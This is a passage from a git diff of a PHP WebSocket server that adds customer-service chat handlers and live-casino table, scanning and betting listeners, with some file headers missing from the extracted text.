$ws->emit('chat.message.server_ack', [ + 'clientMsgId' => $clientMsgId, + 'success' => false, + 'error' => 'permission_denied' + ]); + return; + } + + // 创建消息 + $message = $this->messageService->createMessage([ + 'session_id' => $sessionId, + 'sender_type' => $senderType, + 'sender_id' => $senderId, + 'msg_type' => $msgType, + 'content' => $content, + 'client_msg_id' => $clientMsgId, + ]); + + // 发送 server_ack + $ws->emit('chat.message.server_ack', [ + 'clientMsgId' => $clientMsgId, + 'msgId' => $message['msg_id'], + 'success' => true, + 'status' => 'received' + ]); + + // 推送给对端 + $this->pushToPeer($ws, $session->toArray(), $message, $senderType); + } + + /** + * 处理消息确认 (已读回执) + */ + public function onMessageAck(WebSocket $ws, array $data): void + { + $msgId = $data['msgId'] ?? null; + $msgIds = $data['msgIds'] ?? []; + + if ($msgId) { + $msgIds[] = $msgId; + } + + if (empty($msgIds)) { + return; + } + + // 标记为已读 + $this->messageService->markMessagesAsRead($msgIds); + + // 通知发送方消息已读 + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + if (!$fdInfo) { + return; + } + + // 获取消息信息,通知原发送者 + foreach ($msgIds as $id) { + $message = ChatMessage::where('msg_id', $id)->find(); + if (!$message) { + continue; + } + + $session = ChatSession::find($message['session_id']); + if (!$session) { + continue; + } + + // 确定对端 + if ($message['sender_type'] === ChatMessage::SENDER_USER) { + $targetFd = $this->sessionService->getUserFd($session['user_id']); + } else { + $targetFd = $this->sessionService->getAgentFd($session['admin_id']); + } + + if ($targetFd) { + $server = app('swoole.server'); + if ($server->isEstablished($targetFd)) { + $server->push($targetFd, json_encode([ + 'event' => 'chat.message.peer_ack', + 'data' => [ + 'msgId' => $id, + 'status' => 'read' + ] + ])); + } + } + } + } + + /** + * 处理正在输入状态 + */ + public function onTyping(WebSocket $ws, array $data): void + { + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + if (!$fdInfo || !in_array($fdInfo['mode'], ['chat_user', 'chat_agent'])) { + return; + } + + $sessionId = (int)($data['sessionId'] ?? 0); + $isTyping = (bool)($data['isTyping'] ?? false); + + $session = ChatSession::find($sessionId); + if (!$session || $session['status'] !== ChatSession::STATUS_ACTIVE) { + return; + } + + // 转发给对端 + if ($fdInfo['mode'] === 'chat_user') { + // 用户输入,通知客服 + if ($session['admin_id']) { + $ws->to('chat_agent_' . $session['admin_id'])->emit('chat.typing', [ + 'sessionId' => $sessionId, + 'isTyping' => $isTyping, + 'from' => 'user' + ]); + } + } else { + // 客服输入,通知用户 + $ws->to('chat_user_' . $session['user_id'])->emit('chat.typing', [ + 'sessionId' => $sessionId, + 'isTyping' => $isTyping, + 'from' => 'agent' + ]); + } + } + + /** + * 推送消息给对端 + */ + private function pushToPeer(WebSocket $ws, array $session, array $message, int $senderType): void + { + $payload = [ + 'event' => 'chat.message.new', + 'data' => [ + 'msgId' => $message['msg_id'], + 'sessionId' => $message['session_id'], + 'senderType' => $message['sender_type'], + 'msgType' => $message['msg_type'], + 'content' => $message['content'], + 'time' => $message['create_time'], + ] + ]; + + if ($senderType === ChatMessage::SENDER_USER) { + // 用户发送,推给客服 + if ($session['admin_id']) { + $targetFd = $this->sessionService->getAgentFd($session['admin_id']); + if ($targetFd) { + $pushed = $this->messageService->pushMessage( + $message['msg_id'], + $targetFd, + $payload + ); + if ($pushed) { + // 发送 peer_ack 给发送者 + $ws->emit('chat.message.peer_ack', [ + 'msgId' => $message['msg_id'], + 'status' => 'delivered' + ]); + } + } + } else { + // 无客服,消息保持pending状态 + $this->messageService->updateMessageStatus( + $message['msg_id'], + ChatMessage::STATUS_PENDING + ); + } + } else { + // 客服发送,推给用户 + $targetFd = $this->sessionService->getUserFd($session['user_id']); + if ($targetFd) { + $pushed = $this->messageService->pushMessage( + $message['msg_id'], + $targetFd, + $payload + ); + if ($pushed) { + $ws->emit('chat.message.peer_ack', [ + 'msgId' => $message['msg_id'], + 'status' => 'delivered' + ]); + } + } else { + // 用户离线,消息保持pending + $this->messageService->updateMessageStatus( + $message['msg_id'], + ChatMessage::STATUS_PENDING + ); + } + } + } +} diff --git a/app/listener/chat/ChatMessageSend.php b/app/listener/chat/ChatMessageSend.php new file mode 100644 index 0000000..b2b342e --- /dev/null +++ b/app/listener/chat/ChatMessageSend.php @@ -0,0 +1,25 @@ +messageService = new MessageService(); + } + + public function handle(array $data, WebSocket $ws): void + { + $this->messageService->sendMessage($ws, $data); + } +} diff --git a/app/listener/chat/ChatPing.php b/app/listener/chat/ChatPing.php new file mode 100644 index 0000000..b2c2262 --- /dev/null +++ b/app/listener/chat/ChatPing.php @@ -0,0 +1,43 @@ +sessionService = new SessionService(); + } + + /** + * 事件监听处理 + */ + public function handle(array $data, WebSocket $ws): void + { + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + if (!$fdInfo) { + return; + } + + if ($fdInfo['mode'] === 'chat_user') { + $this->sessionService->refreshUserConnection($fdInfo['user_id']); + } elseif ($fdInfo['mode'] === 'chat_agent') { + $this->sessionService->refreshAgentConnection($fdInfo['user_id']); + } + + $ws->emit('chat.pong', []); + } +} diff --git a/app/listener/chat/ChatSessionListener.php b/app/listener/chat/ChatSessionListener.php new file mode 100644 index 0000000..b99d402 --- /dev/null +++ b/app/listener/chat/ChatSessionListener.php @@ -0,0 +1,310 @@ +sessionService = new SessionService(); + $this->assignService = new AssignService(); + $this->messageService = new MessageService(); + } + + /** + * 处理结束会话 + */ + public function onSessionEnd(WebSocket $ws, array $data): void + { + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + if (!$fdInfo || !in_array($fdInfo['mode'], ['chat_user', 'chat_agent'])) { + return; + } + + $sessionId = (int)($data['sessionId'] ?? 0); + $session = ChatSession::find($sessionId); + + if (!$session) { + $ws->emit('chat.session.ended', [ + 'success' => false, + 'error' => 'session_not_found' + ]); + return; + } + + // 验证权限 + $operatorId = $fdInfo['user_id']; + if ($fdInfo['mode'] === 'chat_user' && $session['user_id'] != $operatorId) { + $ws->emit('chat.session.ended', [ + 'success' => false, + 'error' => 'permission_denied' + ]); + return; + } + if ($fdInfo['mode'] === 'chat_agent' && $session['admin_id'] != $operatorId) { + $ws->emit('chat.session.ended', [ + 'success' => false, + 'error' => 'permission_denied' + ]); + return; + } + + // 结束会话 + $result = $this->sessionService->endSession($sessionId, $operatorId); + + if ($result) { + // 通知双方 + $ws->emit('chat.session.ended', [ + 'success' => true, + 'sessionId' => $sessionId + ]); + + // 通知对方 + if ($fdInfo['mode'] === 'chat_user' && $session['admin_id']) { + $ws->to('chat_agent_' . $session['admin_id'])->emit('chat.session.ended', [ + 'sessionId' => $sessionId, + 'endedBy' => 'user' + ]); + } elseif ($fdInfo['mode'] === 'chat_agent') { + $ws->to('chat_user_' . $session['user_id'])->emit('chat.session.ended', [ + 'sessionId' => $sessionId, + 'endedBy' => 'agent' + ]); + } + } + } + + /** + * 处理会话评价 + */ + public function onSessionRate(WebSocket $ws, array $data): void + { + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + // 只有用户可以评价 + if (!$fdInfo || $fdInfo['mode'] !== 'chat_user') { + return; + } + + $sessionId = (int)($data['sessionId'] ?? 0); + $rating = (int)($data['rating'] ?? 0); + $content = $data['content'] ?? null; + + $session = ChatSession::find($sessionId); + if (!$session || $session['user_id'] != $fdInfo['user_id']) { + $ws->emit('chat.session.rated', [ + 'success' => false, + 'error' => 'invalid_session' + ]); + return; + } + + $result = $this->sessionService->rateSession($sessionId, $rating, $content); + + $ws->emit('chat.session.rated', [ + 'success' => $result, + 'sessionId' => $sessionId + ]); + } + + /** + * 处理客服上线 + */ + public function onAgentOnline(WebSocket $ws, array $data): void + { + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + if (!$fdInfo || $fdInfo['mode'] !== 'chat_agent') { + return; + } + + $adminId = $fdInfo['user_id']; + $maxSessions = (int)($data['maxSessions'] ?? 10); + + // 设置在线状态 + $this->assignService->setAgentOnline($adminId); + + // 处理离线队列 + $processed = $this->assignService->processOfflineQueue($adminId); + + // 获取当前会话列表 + $sessions = $this->sessionService->getAgentSessions($adminId); + + $ws->emit('chat.agent.online_success', [ + 'sessions' => $sessions, + 'processedFromQueue' => count($processed), + ]); + + // 通知被分配的用户 + foreach ($processed as $item) { + $this->notifyUserAssigned($ws, $item['userId'], $item['sessionId'], $adminId); + } + } + + /** + * 处理客服下线 + */ + public function onAgentOffline(WebSocket $ws, array $data): void + { + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + if (!$fdInfo || $fdInfo['mode'] !== 'chat_agent') { + return; + } + + $adminId = $fdInfo['user_id']; + + // 设置离线状态 + $this->assignService->setAgentOffline($adminId); + + // 获取该客服的活跃会话 + $sessions = ChatSession::getActiveByAdminId($adminId); + + // 通知用户客服已离线 + foreach ($sessions as $session) { + $ws->to('chat_user_' . $session['user_id'])->emit('chat.offline_notice', [ + 'sessionId' => $session['id'], + 'message' => '客服已离线,请稍后再试' + ]); + } + + $ws->emit('chat.agent.offline_success', [ + 'success' => true + ]); + } + + /** + * 处理会话转接 + */ + public function onSessionTransfer(WebSocket $ws, array $data): void + { + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + if (!$fdInfo || $fdInfo['mode'] !== 'chat_agent') { + return; + } + + $sessionId = (int)($data['sessionId'] ?? 0); + $targetAdminId = (int)($data['targetAdminId'] ?? 0); + + $session = ChatSession::find($sessionId); + if (!$session || $session['admin_id'] != $fdInfo['user_id']) { + $ws->emit('chat.session.transferred', [ + 'success' => false, + 'error' => 'invalid_session' + ]); + return; + } + + // 检查目标客服是否在线 + $onlineAgents = $this->assignService->getOnlineAgents(); + if (!in_array($targetAdminId, $onlineAgents)) { + $ws->emit('chat.session.transferred', [ + 'success' => false, + 'error' => 'target_agent_offline' + ]); + return; + } + + // 执行转接 + $result = $this->sessionService->transferSession($sessionId, $targetAdminId); + + if ($result) { + $targetAdmin = Db::name('admin')->where('id', $targetAdminId)->find(); + + // 通知原客服 + $ws->emit('chat.session.transferred', [ + 'success' => true, + 'sessionId' => $sessionId + ]); + + // 通知新客服 + $sessionDetail = $this->sessionService->getSessionDetail($sessionId); + $ws->to('chat_agent_' . $targetAdminId)->emit('chat.session.new', [ + 'session' => $sessionDetail, + 'transferredFrom' => $fdInfo['user_id'] + ]); + + // 通知用户 + $ws->to('chat_user_' . $session['user_id'])->emit('chat.session.assigned', [ + 'sessionId' => $sessionId, + 'agentInfo' => [ + 'id' => $targetAdmin['id'], + 'nickname' => $targetAdmin['nickname'] ?? $targetAdmin['username'] ?? '客服', + ], + 'transferred' => true + ]); + } else { + $ws->emit('chat.session.transferred', [ + 'success' => false, + 'error' => 'transfer_failed' + ]); + } + } + + /** + * 获取待处理队列列表 (客服端) + */ + public function onQueueList(WebSocket $ws, array $data): void + { + $fd = $ws->getSender(); + $tableFd = app('swoole.table.fd'); + $fdInfo = $tableFd->get((string)$fd); + + if (!$fdInfo || $fdInfo['mode'] !== 'chat_agent') { + return; + } + + $pendingSessions = $this->sessionService->getPendingSessions(); + + $ws->emit('chat.queue.list', [ + 'sessions' => $pendingSessions + ]); + } + + /** + * 通知用户会话已分配 + */ + private function notifyUserAssigned(WebSocket $ws, int $userId, int $sessionId, int $adminId): void + { + $admin = Db::name('admin')->where('id', $adminId)->find(); + + $ws->to('chat_user_' . $userId)->emit('chat.session.assigned', [ + 'sessionId' => $sessionId, + 'agentInfo' => [ + 'id' => $admin['id'], + 'nickname' => $admin['nickname'] ?? $admin['username'] ?? '客服', + ], + ]); + } +} diff --git a/app/listener/chat/ChatTyping.php b/app/listener/chat/ChatTyping.php new file mode 100644 index 0000000..57fbb59 --- /dev/null +++ b/app/listener/chat/ChatTyping.php @@ -0,0 +1,17 @@ +emit('sendScanResult',['status' => false, 'msg' => "not_table_data"]); + } + $tableInfo = Table::get(intval($event['table_id'])); + $serviceRes = ScanBaccaratService::doScanBaccarat($event,$tableInfo); + if ($serviceRes['status']){ + $ws->to(SocketSession::HOUSE_NAME)->emit('sendScanResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $serviceRes['data']]); + }else{ + $ws->emit('sendScanResult',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $serviceRes['msg']]); + } + } +} diff --git a/app/listener/scan/CheckScanStatus.php b/app/listener/scan/CheckScanStatus.php new file mode 100644 index 0000000..6847f21 --- /dev/null +++ b/app/listener/scan/CheckScanStatus.php @@ -0,0 +1,44 @@ +emit('checkScanStatus',['status' => false, 'msg' => 'TableInfo Error']); + return; + } + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + if (!$numberTabInfo){ + $ws->emit('checkScanStatus',['status' => false, 'msg' => 'Not NumberTab Data']); + return; + } + $round = array(); + $round['tid'] = $tableId; + $round['boot_id'] = intval($numberTabInfo['boot_id']); + $round['boot_num'] = intval($numberTabInfo['boot_num']); + $round['number_tab_id'] = intval($numberTabInfo['id']); + $round['number_tab_number'] = intval($numberTabInfo['number']); + if ($numberTabInfo['bet_status'] == 2){ + $round['is_scan'] = true; + }else{ + $round['is_scan'] = false; + } + $ws->emit('checkScanStatus',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + } +} diff --git a/app/listener/scan/Dt.php b/app/listener/scan/Dt.php new file mode 100644 index 0000000..c5ab298 --- /dev/null +++ b/app/listener/scan/Dt.php @@ -0,0 +1,31 @@ +emit('sendScanResult',['status' => false, 'msg' => "not_table_data"]); + } + $tableInfo = Table::get(intval($event['table_id'])); + $serviceRes = ScanDtService::doScanDt($event,$tableInfo); + if ($serviceRes['status']){ + $ws->to(SocketSession::HOUSE_NAME)->emit('sendScanResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $serviceRes['data']]); + }else{ + $ws->emit('sendScanResult',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $serviceRes['msg']]); + } + } +} diff --git a/app/listener/scan/Nn.php b/app/listener/scan/Nn.php new file mode 100644 index 0000000..22c12c9 --- /dev/null +++ b/app/listener/scan/Nn.php @@ -0,0 +1,35 @@ +emit('sendScanResult',['status' => false, 'msg' => "not_table_data"]); + } + $tableInfo = Table::get(intval($event['table_id'])); + if ($tableInfo['scanner_type'] == 1) { + $serviceRes = ScanNnService::doScanNn($event,$tableInfo); + } else { + $serviceRes = ScanNnService::doScanNnSb($event,$tableInfo); + } + if ($serviceRes['status']){ + $ws->to(SocketSession::HOUSE_NAME)->emit('sendScanResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $serviceRes['data']]); + }else{ + $ws->emit('sendScanResult',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $serviceRes['msg']]); + } + } +} diff --git a/app/listener/scan/NnChange.php b/app/listener/scan/NnChange.php new file mode 100644 index 0000000..070e392 --- /dev/null +++ b/app/listener/scan/NnChange.php @@ -0,0 +1,35 @@ +emit('sendScanResult',['status' => false, 'msg' => "not_table_data"]); + } + $tableInfo = Table::get(intval($event['table_id'])); + if ($tableInfo['scanner_type'] == 1) { + $serviceRes = ChangeNnService::doScanNnChange($event,$tableInfo); + } else { + $serviceRes = ChangeNnService::doScanNnSbChange($event,$tableInfo); + } + if ($serviceRes['status']){ + $ws->to(SocketSession::HOUSE_NAME)->emit('sendScanResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $serviceRes['data'], 'isChanged' => true]); + }else{ + $ws->emit('sendScanChangeNnResult',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $serviceRes['msg']]); + } + } +} diff --git a/app/listener/scan/Tc.php b/app/listener/scan/Tc.php new file mode 100644 index 0000000..55eb9f0 --- /dev/null +++ b/app/listener/scan/Tc.php @@ -0,0 +1,31 @@ +emit('sendScanResult',['status' => false, 'msg' => "not_table_data"]); + } + $tableInfo = Table::get(intval($event['table_id'])); + $serviceRes = ScanTcService::doScanTc($event,$tableInfo); + if ($serviceRes['status']){ + $ws->to(SocketSession::HOUSE_NAME)->emit('sendScanResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $serviceRes['data']]); + }else{ + $ws->emit('sendScanResult',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => $serviceRes['msg']]); + } + } +} diff --git a/app/listener/space/ChangeBoot.php b/app/listener/space/ChangeBoot.php new file mode 100644 index 0000000..cddd1b8 --- /dev/null +++ b/app/listener/space/ChangeBoot.php @@ -0,0 +1,32 @@ +to(SocketSession::HOUSE_NAME)->emit('changeBoot',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $modelRes['data']]); + }else{ + $ws->emit('changeBoot', ['status' => false, 'msg' => $modelRes['msg']]); + } + }else{ + $ws->emit('changeBoot', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/space/EndBet.php b/app/listener/space/EndBet.php new file mode 100644 index 0000000..7dbbe6e --- /dev/null +++ b/app/listener/space/EndBet.php @@ -0,0 +1,29 @@ +emit('endBet', ['status' => false, 'msg' => $res['msg']]); + } + } +} diff --git a/app/listener/space/EndRob.php b/app/listener/space/EndRob.php new file mode 100644 index 0000000..38b8a88 --- /dev/null +++ b/app/listener/space/EndRob.php @@ -0,0 +1,28 @@ +emit('endRob', ['status' => false, 'msg' => $res['msg']]); + } + } +} diff --git a/app/listener/space/OpeningBaccarat.php b/app/listener/space/OpeningBaccarat.php new file mode 100644 index 0000000..fb06e78 --- /dev/null +++ b/app/listener/space/OpeningBaccarat.php @@ -0,0 +1,27 @@ +emit('openingBaccarat', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/space/OpeningDice.php b/app/listener/space/OpeningDice.php new file mode 100644 index 0000000..39e56fa --- /dev/null +++ b/app/listener/space/OpeningDice.php @@ -0,0 +1,27 @@ +emit('openingDice', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/space/OpeningDt.php b/app/listener/space/OpeningDt.php new file mode 100644 index 0000000..c608d6b --- /dev/null +++ b/app/listener/space/OpeningDt.php @@ -0,0 +1,27 @@ +emit('openingDt', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/space/OpeningNn.php b/app/listener/space/OpeningNn.php new file mode 100644 index 0000000..0025056 --- /dev/null +++ b/app/listener/space/OpeningNn.php @@ -0,0 +1,27 @@ +emit('openingDt', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/space/OpeningTc.php b/app/listener/space/OpeningTc.php new file mode 100644 index 0000000..0d382b7 --- /dev/null +++ b/app/listener/space/OpeningTc.php @@ -0,0 +1,27 @@ +emit('openingTc', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/space/OpeningToning.php b/app/listener/space/OpeningToning.php new file mode 100644 index 0000000..dd1eaac --- /dev/null +++ b/app/listener/space/OpeningToning.php @@ -0,0 +1,27 @@ +emit('openingToning', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/space/ResetBaccarat.php b/app/listener/space/ResetBaccarat.php new file mode 100644 index 0000000..c669f59 --- /dev/null +++ b/app/listener/space/ResetBaccarat.php @@ -0,0 +1,27 @@ +emit('resetBaccarat', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/space/ResetBoot.php b/app/listener/space/ResetBoot.php new file mode 100644 index 0000000..8855f28 --- /dev/null +++ b/app/listener/space/ResetBoot.php @@ -0,0 +1,32 @@ +to(SocketSession::HOUSE_NAME)->emit('resetBoot',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $modelRes['data']]); + }else{ + $ws->emit('resetBoot', ['status' => false, 'msg' => $modelRes['msg']]); + } + }else{ + $ws->emit('resetBoot', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/space/ResetDt.php b/app/listener/space/ResetDt.php new file mode 100644 index 0000000..37d99a3 --- /dev/null +++ b/app/listener/space/ResetDt.php @@ -0,0 +1,27 @@ +emit('resetBaccarat', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/space/ResetNumberTab.php b/app/listener/space/ResetNumberTab.php new file mode 100644 index 0000000..aa9b0e6 --- /dev/null +++ b/app/listener/space/ResetNumberTab.php @@ -0,0 +1,28 @@ +emit('resetNumberTab', ['status' => false, 'msg' => $res['msg']]); + } + } +} diff --git a/app/listener/space/StartBet.php b/app/listener/space/StartBet.php new file mode 100644 index 0000000..24bd8ef --- /dev/null +++ b/app/listener/space/StartBet.php @@ -0,0 +1,29 @@ +emit('startBet', ['status' => false, 'msg' => $res['msg']]); + } + } +} diff --git a/app/listener/space/StartRob.php b/app/listener/space/StartRob.php new file mode 100644 index 0000000..88f2992 --- /dev/null +++ b/app/listener/space/StartRob.php @@ -0,0 +1,28 @@ +emit('startRob', ['status' => false, 'msg' => $res['msg']]); + } + } +} diff --git a/app/listener/space/openingRoulette.php b/app/listener/space/openingRoulette.php new file mode 100644 index 0000000..f060786 --- /dev/null +++ b/app/listener/space/openingRoulette.php @@ -0,0 +1,27 @@ +emit('openingRoulette', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/user/CancelBet.php b/app/listener/user/CancelBet.php new file mode 100644 index 0000000..86906bb --- /dev/null +++ b/app/listener/user/CancelBet.php @@ -0,0 +1,40 @@ +getSender(); + if($preliminaryCheckRes['status'] == true){ + $tableInfo = $preliminaryCheckRes['data']; + if(SocketSession::checkRepeat($fd,'user','isToCancelBet')){ + $res = CancelBetService::cancelBet($event,$tableInfo); + if ($res['status'] == true){ + $ws->emit('cancelBet',['status' => true, 'table_id' => $tableInfo['id'],'user_id' => $res['user_id'],'manager_id' => $res['manager_id'], 'money' => $res['money'], 'msg' => $res['msg']]); + $ws->to(SocketSession::MANAGER_ROOM_NAME)->emit('cancelBet',['status' => true, 'table_id' => $tableInfo['id'],'user_id' => $res['user_id'],'manager_id' => $res['manager_id'], 'money' => $res['money'], 'msg' => $res['msg']]); + + }else{ + $ws->emit('cancelBet',['status' => false, 'msg' => $res['msg']]); + } + SocketSession::resetRepeat($fd,'user','isToCancelBet'); + }else{ + $ws->emit('toBet',['status' => false, 'msg' => 'notice_repeat']); + } + }else{ + $ws->emit('changeBoot', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/user/ToBet.php b/app/listener/user/ToBet.php new file mode 100644 index 0000000..a987fcd --- /dev/null +++ b/app/listener/user/ToBet.php @@ -0,0 +1,60 @@ +getSender(); + if($preliminaryCheckRes['status'] == true){ + $tableInfo = $preliminaryCheckRes['data']; + if(SocketSession::checkRepeat($fd,'user','isToBet')){ + switch ($tableInfo['game_id']){ + case 1 : + ToBetBaccaratService::toBetBaccarat($event,$tableInfo); + break; + case 2 : + ToBetDtService::toBetDt($event,$tableInfo); + break; + case 4 : + ToBetNnService::toBetNn($event,$tableInfo); + break; + case 5 : + ToBetTcService::toBetTc($event,$tableInfo); + break; + case 6 : + ToBetToningService::toBetToning($event, $tableInfo); + break; + case 7 : + ToBetDiceService::toBetDice($event, $tableInfo); + break; + case 8 : + ToBetRouletteService::toBetRoulette($event, $tableInfo); + break; + } + }else{ + $ws->emit('toBet',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'notice_repeat']); + } + }else{ + $ws->emit('changeBoot', ['status' => false, 'msg' => $preliminaryCheckRes['msg']]); + } + } +} diff --git a/app/listener/user/ToLeaveSeat.php b/app/listener/user/ToLeaveSeat.php new file mode 100644 index 0000000..c02c662 --- /dev/null +++ b/app/listener/user/ToLeaveSeat.php @@ -0,0 +1,30 @@ +getSender(); + if($preliminaryCheckRes['status'] == true){ + $tableInfo = $preliminaryCheckRes['data']; + if(SocketSession::checkRepeat($fd,'user','isToLeaveSeat')){ + ToLeaveSeatService::toLeaveSeat($event,$tableInfo); + }else{ + $ws->emit('toLeaveSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'notice_repeat']); + } + } + } +} \ No newline at end of file diff --git a/app/listener/user/ToRob.php b/app/listener/user/ToRob.php new file mode 100644 index 0000000..e208a49 --- /dev/null +++ b/app/listener/user/ToRob.php @@ -0,0 +1,30 @@ +getSender(); + if($preliminaryCheckRes['status'] == true){ + $tableInfo = $preliminaryCheckRes['data']; + if(SocketSession::checkRepeat($fd,'user','isToRob')){ + ToRobService::toTob($event,$tableInfo); + }else{ + $ws->emit('toRob',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'notice_repeat']); + } + } + } +} diff --git a/app/listener/user/ToSeat.php b/app/listener/user/ToSeat.php new file mode 100644 index 0000000..d53ae00 --- /dev/null +++ b/app/listener/user/ToSeat.php @@ -0,0 +1,30 @@ +getSender(); + if($preliminaryCheckRes['status'] == true){ + $tableInfo = $preliminaryCheckRes['data']; + if(SocketSession::checkRepeat($fd,'user','isToSeat')){ + ToSeatService::toSeat($event,$tableInfo); + }else{ + $ws->emit('toSeat',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'notice_repeat']); + } + } + } +} \ No newline at end of file diff --git a/app/middleware.php b/app/middleware.php new file mode 100644 index 0000000..f81a04d --- /dev/null +++ b/app/middleware.php @@ -0,0 +1,12 @@ + $numberTabId, 'status' => 1])->field($field)->select(); + if (!empty($select)) return $select->toArray(); + else return []; + } + + /** + * TODO 获取抢庄Bet + * @param int $numberTabId + * @param int $robBankerId + * @return array + */ + public static function getByNumberTabIdRob(int $numberTabId, int $robBankerId): array + { + + $find = self::where(['number_tab_id' => $numberTabId, '', 'status' => 1, 'user_id' => $robBankerId])->find(); + if ($find) return $find->toArray(); + else return []; + } + + /** + * TODO 获取非抢庄Bet + * @param int $numberTabId + * @param int $robBankerId + * @return array + */ + public static function getByNumberTabIdNotRob(int $numberTabId, int $robBankerId): array + { + + $select = self::where(['number_tab_id' => $numberTabId, '', 'status' => 1])->where(['user_id','<>',$robBankerId])->select(); + if ($select) return $select->toArray(); + else return []; + } + + /** + * TODO 获取今日Win总数 + * @param int $userId + * @return float + */ + public static function getWinTotalToday(int $userId): float + { + $startTime = strtotime(date('Y-m-d')); + $endTime = time(); + return self::where(['user_id' => $userId])->where('unify_time', ['between',[$startTime,$endTime]])->sum("win_total"); + } + + /** + * TODO 获取同局的Bet + * @param int $userId + * @param int $numberTabId + * @return array + */ + public static function getPrevBetInfo(int $userId, int $numberTabId): array + { + $find = self::where(['user_id' => $userId, 'number_tab_id' => $numberTabId, 'status' => 1])->order('id DESC')->find(); + if ($find) return $find->toArray(); + else return []; + } + + /** + * TODO 抢庄 AllGame + * @param array $userInfo + * @param array $numberTabInfo + * @return bool + */ + public static function toRob(array $userInfo, array $numberTabInfo): bool + { + Db::startTrans(); + try { + NumberTab::where(['id' => $numberTabInfo['id']])->update(['rob_banker_id' => $userInfo['id'], 'rob_banker_username' => $userInfo['username']]); + $bet = [ + 'agent_parent_id_path' => $userInfo['agent_parent_id_path'], + 'user_id' => $userInfo['id'], + 'username' => $userInfo['username'], + 'nickname' => $userInfo['nickname'], + 'table_id' => $numberTabInfo['table_id'], + 'boot_id' => $numberTabInfo['boot_id'], + 'boot_num' => $numberTabInfo['boot_num'], + 'number_tab_id' => $numberTabInfo['id'], + 'number' => $numberTabInfo['number'], + 'game_id' => $numberTabInfo['game_id'], + 'game_name' => $numberTabInfo['game_name'], + 'table_name' => $numberTabInfo['table_name'], + 'sumday_id' => $numberTabInfo['sumday_id'], + 'day' => $numberTabInfo['day'], + 'money_before_bet' => $userInfo['money'], + 'money_after_bet' => $userInfo['money'], + 'create_time' => time(), + ]; + self::create($bet); + Db::commit(); + return true; + } catch (\Exception $e) { + Db::rollback(); + return false; + } + } + + /** + * TODO 落座 AllGame + * @param array $userInfo + * @param array $numberTabInfo + * @param array $tableInfo + * @param int $seatNum + * @return bool + */ + public static function toSeat(array $userInfo, array $numberTabInfo, array $tableInfo,int $seatNum): bool + { + Db::startTrans(); + try { + $seatArr = json_decode($numberTabInfo['seat_json'],true); + if(empty($seatArr[$userInfo['manager_id']])){ + $seat_num = $tableInfo['seat_num'] >=4 ? $tableInfo['seat_num'] + 1 : $tableInfo['seat_num']; + $seat_arr = []; + for($i=1;$i<=$seat_num;$i++){ + if($i != 4){ + $seat_arr[$i] = 0; + } + } + $managerSeatArr = $seat_arr; + }else{ + $managerSeatArr = $seatArr[$userInfo['manager_id']]; + } + + $nowSeatNum = array_search($userInfo['id'],$managerSeatArr); + if($nowSeatNum){ + $managerSeatArr[$nowSeatNum] = 0; + } + $managerSeatArr[$seatNum] = $userInfo['id']; + $seatArr[$userInfo['manager_id']] = $managerSeatArr; + $newSeatJson = json_encode($seatArr); + NumberTab::where(['id' => $numberTabInfo['id']])->update(['seat_json' => $newSeatJson]); + Db::commit(); + return true; + } catch (\Exception $e) { + Db::rollback(); + return false; + } + } + /** + * TODO 离座 AllGame + * @param array $userInfo + * @param array $numberTabInfo + * @return bool + */ + public static function toLeaveSeat(array $userInfo, array $numberTabInfo): bool + { + Db::startTrans(); + try { + $seatArr = json_decode( $numberTabInfo['seat_json'],true); + $managerSeatArr = $seatArr[$userInfo['manager_id']]; + + $nowSeatNum = array_search($userInfo['id'],$managerSeatArr); + if($nowSeatNum){ + $managerSeatArr[$nowSeatNum] = 0; + } + $seatArr[$userInfo['manager_id']] = $managerSeatArr; + 